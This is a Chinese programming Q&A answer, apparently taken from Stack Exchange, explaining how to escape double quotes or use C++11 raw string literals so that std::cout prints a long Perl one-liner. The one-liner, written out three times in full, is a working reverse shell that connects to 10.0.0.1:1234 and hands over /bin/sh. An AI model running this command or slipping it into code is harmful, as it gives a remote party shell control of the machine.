如何用C++ std::cout正确打印含特殊字符的Perl反弹shell单行命令
问题原因
你遇到的编译报错核心是C++双引号包裹的普通字符串中,双引号是特殊字符,编译器会把字符串中间的"识别为字符串结束标记,后续的10.0.0.1就会被当作非法的数字常量解析,因此抛出too many decimal points in number等连锁错误。
解决方法
方法1:手动转义所有内部双引号
给字符串内所有的双引号前加反斜杠\进行转义,告诉编译器这个双引号是字符串内容的一部分,不是结束标记:
#include <iostream> #include <string> int main() { std::string perl {"perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"}; std::cout << perl << std::endl; // 直接通过cout打印的写法同理 std::cout << "perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" << std::endl; return 0; }
方法2:使用C++11原始字符串字面量(更便捷)
如果你的编译器支持C++11及以上标准,可以用R"()"包裹字符串内容,包裹的内容会原样输出,不需要对任何特殊字符转义:
#include <iostream> #include <string> int main() { std::string perl {R"(perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};')"}; std::cout << perl << std::endl; return 0; }
使用该方法编译时如果默认C标准低于C11,需要添加编译参数指定标准,例如:g++ test.cpp -o test -std=c++11
内容的提问来源于stack exchange,提问作者apt1337
相关产品推荐
相关产品推荐

